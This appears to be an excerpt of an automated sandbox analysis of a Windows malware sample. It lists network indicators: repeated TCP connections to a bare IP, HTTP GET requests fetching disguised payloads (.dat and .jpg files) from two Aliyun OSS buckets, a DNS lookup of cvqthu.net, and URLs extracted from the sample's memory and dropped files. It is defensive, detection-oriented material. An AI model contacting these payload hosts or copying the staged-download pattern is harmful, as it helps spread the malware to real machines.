Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.47.169

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d.gif HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.dat HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.jpg HTTP/1.1User-Agent: GetDataHost: msd1sq.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /drops.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f.dat HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-50.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-51.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-52.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /FOM-53.jpg HTTP/1.1User-Agent: GetDataHost: 22mm.oss-cn-hangzhou.aliyuncs.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: msd1sq.oss-cn-beijing.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: 22mm.oss-cn-hangzhou.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: cvqthu.net

Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s.symcd.com0_
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sw.symcd.com0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 189atohci.sys.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: EMp3o1.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0)
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gif
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifW
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifhttps://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifhttp
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifo
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifq
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.giftsg
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gify
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gif
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifW
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifo
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gif
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifA
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifJ
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gif
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/d.giff
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gifo
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/i.dat:
Source: 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msd1sq.oss-cn-beijing.aliyuncs.com/w
Source: 189atohci.sys.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 62781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62735
Source: unknown	Network traffic detected: HTTP traffic on port 62786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62774
Source: unknown	Network traffic detected: HTTP traffic on port 62780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62776
